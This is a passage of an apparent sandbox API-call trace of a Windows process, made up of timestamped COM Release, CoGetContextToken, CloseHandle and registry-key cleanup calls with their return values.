WbemDefPath:IUnknown:Release (This=0x1bbbf5e0) returned 0x0 [0158.796] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bbbf6a0) returned 0x1 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bbbf6a0) returned 0x0 [0158.796] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bbbf8e0) returned 0x1 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bbbf8e0) returned 0x0 [0158.796] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bc1ac20) returned 0x1 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bc1ac20) returned 0x0 [0158.796] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bbbf9a0) returned 0x1 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bbbf9a0) returned 0x0 [0158.796] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bbbfa60) returned 0x1 [0158.796] WbemDefPath:IUnknown:Release (This=0x1bbbfa60) returned 0x0 [0158.797] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bbbfb20) returned 0x1 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bbbfb20) returned 0x0 [0158.797] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bc1afe0) returned 0x1 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bc1afe0) returned 0x0 [0158.797] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bbbfd60) returned 0x1 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bbbfd60) returned 0x0 [0158.797] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bbbfe20) returned 0x1 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bbbfe20) returned 0x0 [0158.797] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bbbfee0) returned 0x1 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bbbfee0) returned 0x0 [0158.797] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.797] WbemDefPath:IUnknown:Release (This=0x1bbbffa0) returned 0x1 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bbbffa0) returned 0x0 [0158.798] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bc3ea80) returned 0x1 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bc3ea80) returned 0x0 [0158.798] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bbc0120) returned 0x1 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bbc0120) returned 0x0 [0158.798] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bbc02a0) returned 0x1 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bbc02a0) returned 0x0 [0158.798] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bbc0360) returned 0x1 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bbc0360) returned 0x0 [0158.798] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bbc0420) returned 0x1 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bbc0420) returned 0x0 [0158.798] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bc3ee40) returned 0x1 [0158.798] WbemDefPath:IUnknown:Release (This=0x1bc3ee40) returned 0x0 [0158.799] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.799] WbemDefPath:IUnknown:Release (This=0x1bbc05a0) returned 0x1 [0158.799] WbemDefPath:IUnknown:Release (This=0x1bbc05a0) returned 0x0 [0158.799] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.799] WbemDefPath:IUnknown:Release (This=0x1bbc0720) returned 0x1 [0158.799] WbemDefPath:IUnknown:Release (This=0x1bbc0720) returned 0x0 [0158.799] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.799] WbemDefPath:IUnknown:Release (This=0x1bbc07e0) returned 0x1 [0158.799] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.799] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.799] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.799] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.800] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.801] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.802] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.802] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.802] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0158.802] IUnknown:Release (This=0x1bcf6460) returned 0x0 [0158.802] IUnknown:Release (This=0x1bcf60f0) returned 0x0 [0158.803] IUnknown:Release (This=0x1bbd3820) returned 0x0 [0158.803] IUnknown:Release (This=0x1bbd3570) returned 0x0 [0158.803] IUnknown:Release (This=0x1bcf5d80) returned 0x0 [0158.803] IUnknown:Release (This=0x1bcf5a10) returned 0x0 [0158.803] IUnknown:Release (This=0x1bcf56a0) returned 0x0 [0158.803] IUnknown:Release (This=0x1bcf5330) returned 0x0 [0158.804] IUnknown:Release (This=0x1bcf4fc0) returned 0x0 [0158.804] IUnknown:Release (This=0x1bbd4da0) returned 0x0 [0158.804] IUnknown:Release (This=0x1bbd4af0) returned 0x0 [0158.804] IUnknown:Release (This=0x1bbb76f0) returned 0x0 [0158.804] IUnknown:Release (This=0x1bbb7380) returned 0x0 [0158.804] IUnknown:Release (This=0x1bbb7010) returned 0x0 [0158.804] IUnknown:Release (This=0x1bbb6ca0) returned 0x0 [0158.805] IUnknown:Release (This=0x1bbd32c0) returned 0x0 [0158.805] IUnknown:Release (This=0x1aa18d30) returned 0x0 [0158.805] IUnknown:Release (This=0x1bcf4c50) returned 0x0 [0158.805] IUnknown:Release (This=0x1bcf48e0) returned 0x0 [0158.805] IUnknown:Release (This=0x1bcf4570) returned 0x0 [0158.805] IUnknown:Release (This=0x1bcf4200) returned 0x0 [0158.811] IUnknown:Release (This=0x1bcf3e90) returned 0x0 [0158.811] IUnknown:Release (This=0x1bbb6930) returned 0x0 [0158.811] IUnknown:Release (This=0x1bbd5300) returned 0x0 [0158.811] IUnknown:Release (This=0x1aa18a80) returned 0x0 [0158.812] IUnknown:Release (This=0x1aa187d0) returned 0x0 [0158.812] IUnknown:Release (This=0x1bcf3b20) returned 0x0 [0158.812] IUnknown:Release (This=0x1bb94520) returned 0x0 [0158.812] IUnknown:Release (This=0x1bb941b0) returned 0x0 [0158.812] IUnknown:Release (This=0x1bb93e40) returned 0x0 [0158.812] IUnknown:Release (This=0x1bb93ad0) returned 0x0 [0158.813] IUnknown:Release (This=0x1aa18520) returned 0x0 [0158.813] IUnknown:Release (This=0x1aa18270) returned 0x0 [0158.813] IUnknown:Release (This=0x1bb93760) returned 0x0 [0158.813] IUnknown:Release (This=0x1bb933f0) returned 0x0 [0158.813] IUnknown:Release (This=0x1bb93080) returned 0x0 [0158.813] IUnknown:Release (This=0x1bb92d10) returned 0x0 [0158.813] IUnknown:Release (This=0x1bb929a0) returned 0x0 [0158.814] IUnknown:Release (This=0x1bbd4840) returned 0x0 [0158.814] IUnknown:Release (This=0x1bbd4590) returned 0x0 [0158.814] IUnknown:Release (This=0x1bbb65c0) returned 0x0 [0158.814] IUnknown:Release (This=0x1bbb6250) returned 0x0 [0158.814] IUnknown:Release (This=0x1bbb5ee0) returned 0x0 [0158.815] IUnknown:Release (This=0x1bbb5b70) returned 0x0 [0158.815] IUnknown:Release (This=0x1aa1a560) returned 0x0 [0158.815] IUnknown:Release (This=0x1aa1a2b0) returned 0x0 [0158.815] IUnknown:Release (This=0x1bb92630) returned 0x0 [0158.815] IUnknown:Release (This=0x1bb922c0) returned 0x0 [0158.815] IUnknown:Release (This=0x1bb91f50) returned 0x0 [0158.816] IUnknown:Release (This=0x1bb91be0) returned 0x0 [0158.816] IUnknown:Release (This=0x1bb91870) returned 0x0 [0158.816] IUnknown:Release (This=0x1bbb5800) returned 0x0 [0158.816] IUnknown:Release (This=0x1bbd5050) returned 0x0 [0158.817] IUnknown:Release (This=0x1aa17fc0) returned 0x0 [0158.817] IUnknown:Release (This=0x1aa17d10) returned 0x0 [0158.817] IUnknown:Release (This=0x1bb91500) returned 0x0 [0158.817] IUnknown:Release (This=0x1bb91190) returned 0x0 [0158.817] IUnknown:Release (This=0x1bb90e20) returned 0x0 [0158.817] IUnknown:Release (This=0x1bb90ab0) returned 0x0 [0158.817] IUnknown:Release (This=0x1bc78bc0) returned 0x0 [0158.818] IUnknown:Release (This=0x1bbb8820) returned 0x0 [0158.818] IUnknown:Release (This=0x1bbb84b0) returned 0x0 [0158.818] IUnknown:Release (This=0x1aa17a60) returned 0x0 [0158.818] IUnknown:Release (This=0x1aa177b0) returned 0x0 [0158.818] IUnknown:Release (This=0x1bc78850) returned 0x0 [0158.818] IUnknown:Release (This=0x1bc784e0) returned 0x0 [0158.818] IUnknown:Release (This=0x1bc78170) returned 0x0 [0158.819] IUnknown:Release (This=0x1bc77e00) returned 0x0 [0158.819] IUnknown:Release (This=0x1bc77a90) returned 0x0 [0158.819] IUnknown:Release (This=0x1bbb8140) returned 0x0 [0158.819] IUnknown:Release (This=0x1bbb7dd0) returned 0x0 [0158.820] IUnknown:Release (This=0x1bbd42e0) returned 0x0 [0158.820] IUnknown:Release (This=0x1bbd4030) returned 0x0 [0158.820] IUnknown:Release (This=0x1aa17500) returned 0x0 [0158.820] IUnknown:Release (This=0x1aa17250) returned 0x0 [0158.821] IUnknown:Release (This=0x1bc77720) returned 0x0 [0158.821] IUnknown:Release (This=0x1bc773b0) returned 0x0 [0158.821] IUnknown:Release (This=0x1bc77040) returned 0x0 [0158.827] IUnknown:Release (This=0x1bc76cd0) returned 0x0 [0158.827] IUnknown:Release (This=0x1bc76960) returned 0x0 [0158.827] IUnknown:Release (This=0x1bbb5490) returned 0x0 [0158.827] IUnknown:Release (This=0x1bbb5120) returned 0x0 [0158.828] IUnknown:Release (This=0x1aa1a000) returned 0x0 [0158.828] IUnknown:Release (This=0x1aa16fa0) returned 0x0 [0158.828] IUnknown:Release (This=0x1bc765f0) returned 0x0 [0158.828] IUnknown:Release (This=0x1bc76280) returned 0x0 [0158.828] IUnknown:Release (This=0x1bc75f10) returned 0x0 [0158.828] IUnknown:Release (This=0x1bc75ba0) returned 0x0 [0158.828] IUnknown:Release (This=0x1bc75830) returned 0x0 [0158.829] IUnknown:Release (This=0x1bbb4db0) returned 0x0 [0158.829] IUnknown:Release (This=0x1aa19d50) returned 0x0 [0158.829] IUnknown:Release (This=0x1aa19aa0) returned 0x0 [0158.829] IUnknown:Release (This=0x1bc754c0) returned 0x0 [0158.829] IUnknown:Release (This=0x1bc75150) returned 0x0 [0158.829] IUnknown:Release (This=0x1aa2aaf0) returned 0x0 [0158.830] IUnknown:Release (This=0x1aa2a780) returned 0x0 [0158.830] IUnknown:Release (This=0x1aa28520) returned 0x0 [0158.830] IUnknown:Release (This=0x1bcf7590) returned 0x0 [0158.830] IUnknown:Release (This=0x1bcf7220) returned 0x0 [0158.830] IUnknown:Release (This=0x1bbb7a60) returned 0x0 [0158.840] IUnknown:Release (This=0x1bbd3d80) returned 0x0 [0158.840] IUnknown:Release (This=0x1aa197f0) returned 0x0 [0158.840] IUnknown:Release (This=0x1aa1aac0) returned 0x0 [0158.840] IUnknown:Release (This=0x1aa281b0) returned 0x0 [0158.840] IUnknown:Release (This=0x1aa27e40) returned 0x0 [0158.840] IUnknown:Release (This=0x1aa27ad0) returned 0x0 [0158.841] IUnknown:Release (This=0x1aa27760) returned 0x0 [0158.841] IUnknown:Release (This=0x1aa273f0) returned 0x0 [0158.841] IUnknown:Release (This=0x1bbd3ad0) returned 0x0 [0158.842] IUnknown:Release (This=0x1aa19540) returned 0x0 [0158.842] IUnknown:Release (This=0x1aa19290) returned 0x0 [0158.842] IUnknown:Release (This=0x1aa2a410) returned 0x0 [0158.842] IUnknown:Release (This=0x1aa2a0a0) returned 0x0 [0158.842] IUnknown:Release (This=0x1aa29d30) returned 0x0 [0158.842] IUnknown:Release (This=0x1aa299c0) returned 0x0 [0158.842] IUnknown:Release (This=0x1aa29650) returned 0x0 [0158.843] IUnknown:Release (This=0x1bcf6eb0) returned 0x0 [0158.843] IUnknown:Release (This=0x1bcf6b40) returned 0x0 [0158.843] IUnknown:Release (This=0x1aa1a810) returned 0x0 [0158.843] IUnknown:Release (This=0x1aa18fe0) returned 0x0 [0158.843] IUnknown:Release (This=0x1aa27080) returned 0x0 [0158.843] IUnknown:Release (This=0x1aa292e0) returned 0x0 [0158.843] IUnknown:Release (This=0x1aa28f70) returned 0x0 [0158.844] IUnknown:Release (This=0x1aa28c00) returned 0x0 [0158.844] IUnknown:Release (This=0x1aa28890) returned 0x0 [0158.849] IUnknown:Release (This=0x1bcf67d0) returned 0x0 [0174.985] EtwEventUnregister (RegHandle=0xf00010001) returned 0x0 [0174.985] EtwEventUnregister (RegHandle=0x1000010001) returned 0x0 [0174.989] IUnknown:Release (This=0x1bc77f00) returned 0x0 [0174.989] IUnknown:Release (This=0x1bc77c50) returned 0x0 [0174.989] IUnknown:Release (This=0x1aa23b90) returned 0x0 [0174.990] IUnknown:Release (This=0x1aa23820) returned 0x0 [0174.990] IUnknown:Release (This=0x1aa234b0) returned 0x0 [0174.990] IUnknown:Release (This=0x1aa23140) returned 0x0 [0174.990] IUnknown:Release (This=0x1aa22dd0) returned 0x1 [0174.990] IUnknown:Release (This=0x1bc779a0) returned 0x0 [0174.990] IUnknown:Release (This=0x1bc776f0) returned 0x0 [0174.991] IUnknown:Release (This=0x1aa22a60) returned 0x0 [0174.991] IUnknown:Release (This=0x1aa226f0) returned 0x0 [0174.991] IUnknown:Release (This=0x1aa22380) returned 0x0 [0174.991] IUnknown:Release (This=0x1aa22010) returned 0x0 [0174.991] IUnknown:Release (This=0x1bb94520) returned 0x1 [0174.991] IUnknown:Release (This=0x1bc77440) returned 0x0 [0174.992] IUnknown:Release (This=0x1bc77190) returned 0x0 [0174.992] IUnknown:Release (This=0x1bb941b0) returned 0x0 [0174.992] IUnknown:Release (This=0x1bb93e40) returned 0x0 [0174.992] IUnknown:Release (This=0x1bb93ad0) returned 0x0 [0174.992] IUnknown:Release (This=0x1bb93760) returned 0x0 [0174.992] IUnknown:Release (This=0x1bb933f0) returned 0x1 [0174.992] IUnknown:Release (This=0x1bc76ee0) returned 0x0 [0174.993] IUnknown:Release (This=0x1bc76c30) returned 0x0 [0174.993] IUnknown:Release (This=0x1bb93080) returned 0x0 [0174.994] IUnknown:Release (This=0x1bb92d10) returned 0x0 [0174.995] IUnknown:Release (This=0x1bb929a0) returned 0x0 [0174.995] IUnknown:Release (This=0x1bb92630) returned 0x0 [0174.995] IUnknown:Release (This=0x1bb922c0) returned 0x1 [0174.995] IUnknown:Release (This=0x1bc76980) returned 0x0 [0174.995] IUnknown:Release (This=0x1bc766d0) returned 0x0 [0174.995] IUnknown:Release (This=0x1bb91f50) returned 0x0 [0174.996] IUnknown:Release (This=0x1bb91be0) returned 0x0 [0174.996] IUnknown:Release (This=0x1bb91870) returned 0x0 [0174.996] IUnknown:Release (This=0x1bb91500) returned 0x0 [0174.996] IUnknown:Release (This=0x1bb91190) returned 0x1 [0174.996] IUnknown:Release (This=0x1bc76420) returned 0x0 [0174.996] IUnknown:Release (This=0x1bc76170) returned 0x0 [0174.996] IUnknown:Release (This=0x1bb90e20) returned 0x0 [0174.997] IUnknown:Release (This=0x1bb90ab0) returned 0x0 [0174.997] IUnknown:Release (This=0x1bbb8820) returned 0x0 [0174.997] IUnknown:Release (This=0x1bbb84b0) returned 0x0 [0174.997] IUnknown:Release (This=0x1bbb8140) returned 0x1 [0174.997] IUnknown:Release (This=0x1bc75ec0) returned 0x0 [0174.997] IUnknown:Release (This=0x1bc75c10) returned 0x0 [0174.998] IUnknown:Release (This=0x1bbb7dd0) returned 0x0 [0174.998] IUnknown:Release (This=0x1bbb7a60) returned 0x0 [0174.998] IUnknown:Release (This=0x1bbb76f0) returned 0x0 [0174.998] IUnknown:Release (This=0x1bbb7380) returned 0x0 [0175.005] IUnknown:Release (This=0x1bbb7010) returned 0x1 [0175.005] IUnknown:Release (This=0x1bc75960) returned 0x0 [0175.006] IUnknown:Release (This=0x1bc756b0) returned 0x0 [0175.006] IUnknown:Release (This=0x1bbb6ca0) returned 0x0 [0175.006] IUnknown:Release (This=0x1bbb6930) returned 0x0 [0175.006] IUnknown:Release (This=0x1bbb65c0) returned 0x0 [0175.006] IUnknown:Release (This=0x1bbb6250) returned 0x0 [0175.006] IUnknown:Release (This=0x1bbb5ee0) returned 0x1 [0175.007] IUnknown:Release (This=0x1bc75400) returned 0x0 [0175.007] IUnknown:Release (This=0x1bc75150) returned 0x0 [0175.007] IUnknown:Release (This=0x1bbb5b70) returned 0x0 [0175.007] IUnknown:Release (This=0x1bbb5800) returned 0x0 [0175.007] IUnknown:Release (This=0x1bbb5490) returned 0x0 [0175.007] IUnknown:Release (This=0x1bbb5120) returned 0x0 [0175.007] IUnknown:Release (This=0x1bbb4db0) returned 0x1 [0175.015] CloseHandle (hObject=0x2bc) returned 1 [0175.016] CloseHandle (hObject=0x2dc) returned 1 [0175.016] CloseHandle (hObject=0x2ec) returned 1 [0175.016] CloseHandle (hObject=0x364) returned 1 [0175.017] CloseHandle (hObject=0x35c) returned 1 [0175.017] CloseHandle (hObject=0x50c) returned 1 [0175.017] CloseHandle (hObject=0x350) returned 1 [0175.018] CloseHandle (hObject=0x34c) returned 1 [0175.018] CloseHandle (hObject=0x24) returned 1 [0175.019] CloseHandle (hObject=0x2d0) returned 1 [0175.019] CloseHandle (hObject=0x2e4) returned 1 [0175.020] CloseHandle (hObject=0x370) returned 1 [0175.020] CloseHandle (hObject=0x2cc) returned 1 [0175.020] CloseHandle (hObject=0x2c0) returned 1 [0175.021] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0175.021] CloseHandle (hObject=0x2c8) returned 1 [0175.021] CloseHandle (hObject=0x258) returned 1 [0175.021] CloseHandle (hObject=0x254) returned 1 [0175.022] CloseHandle (hObject=0x22c) returned 1 [0175.022] CloseHandle (hObject=0x2d4) returned 1 [0175.022] CloseHandle (hObject=0x358) returned 1 [0175.023] CloseHandle (hObject=0x2e0) returned 1 [0175.023] CloseHandle (hObject=0x354) returned 1 [0175.023] CloseHandle (hObject=0x344) returned 1 [0175.023] CloseHandle (hObject=0x360) returned 1 [0175.024] CloseHandle (hObject=0x2d8) returned 1 [0175.027] CoGetContextToken (in: pToken=0x1a92f380 | out: pToken=0x1a92f380) returned 0x0 [0175.027] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.027] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x1 [0175.028] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x0 [0175.028] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.028] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x1 [0175.028] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x0 [0175.028] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.028] WbemDefPath:IUnknown:Release (This=0x1bc3e900) returned 0x1 [0175.028] WbemDefPath:IUnknown:Release (This=0x1bc3e900) returned 0x0 [0175.028] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.028] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x1 [0175.028] WbemDefPath:IUnknown:Release (This=0x1bc952f0) returned 0x0 [0175.029] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.029] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x1 [0175.029] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x0 [0175.029] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.029] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x1 [0175.029] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x0 [0175.029] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.029] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x1 [0175.029] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x0 [0175.029] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.029] WbemDefPath:IUnknown:Release (This=0x1bbbfbe0) returned 0x1 [0175.029] WbemDefPath:IUnknown:Release (This=0x1bbbfbe0) returned 0x0 [0175.029] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.029] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x1 [0175.029] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x0 [0175.029] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.030] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x1 [0175.030] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x0 [0175.030] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.030] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x1 [0175.030] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x0 [0175.030] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.030] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x1 [0175.030] WbemDefPath:IUnknown:Release (This=0x1bc94ab0) returned 0x0 [0175.030] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.030] WbemDefPath:IUnknown:Release (This=0x1aa0c150) returned 0x1 [0175.030] WbemDefPath:IUnknown:Release (This=0x1aa0c150) returned 0x0 [0175.030] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.030] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x1 [0175.030] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x0 [0175.030] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.030] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x1 [0175.030] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x0 [0175.031] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.031] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x1 [0175.031] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x0 [0175.031] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.031] WbemDefPath:IUnknown:Release (This=0x1bc941b0) returned 0x1 [0175.031] WbemDefPath:IUnknown:Release (This=0x1bc941b0) returned 0x0 [0175.031] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.031] WbemDefPath:IUnknown:Release (This=0x1bbc01e0) returned 0x1 [0175.031] WbemDefPath:IUnknown:Release (This=0x1bbc01e0) returned 0x0 [0175.031] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.031] WbemDefPath:IUnknown:Release (This=0x1bc95530) returned 0x1 [0175.031] WbemDefPath:IUnknown:Release (This=0x1bc95530) returned 0x0 [0175.031] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.031] WbemDefPath:IUnknown:Release (This=0x1bc40340) returned 0x1 [0175.031] WbemDefPath:IUnknown:Release (This=0x1bc40340) returned 0x0 [0175.031] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.032] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x1 [0175.032] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x0 [0175.032] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.032] WbemDefPath:IUnknown:Release (This=0x1bc950b0) returned 0x1 [0175.032] WbemDefPath:IUnknown:Release (This=0x1bc950b0) returned 0x0 [0175.032] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.032] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x1 [0175.032] WbemDefPath:IUnknown:Release (This=0x1bc94870) returned 0x0 [0175.032] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.032] WbemDefPath:IUnknown:Release (This=0x1aa0b910) returned 0x1 [0175.032] WbemDefPath:IUnknown:Release (This=0x1aa0b910) returned 0x0 [0175.032] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.032] WbemDefPath:IUnknown:Release (This=0x1aa0aad0) returned 0x1 [0175.032] WbemDefPath:IUnknown:Release (This=0x1aa0aad0) returned 0x0 [0175.032] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.032] WbemDefPath:IUnknown:Release (This=0x1bcd9ee0) returned 0x1 [0175.033] WbemDefPath:IUnknown:Release (This=0x1bcd9ee0) returned 0x0 [0175.033] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.033] WbemDefPath:IUnknown:Release (This=0x1bc3fb00) returned 0x1 [0175.033] WbemDefPath:IUnknown:Release (This=0x1bc3fb00) returned 0x0 [0175.033] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.033] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x1 [0175.033] WbemDefPath:IUnknown:Release 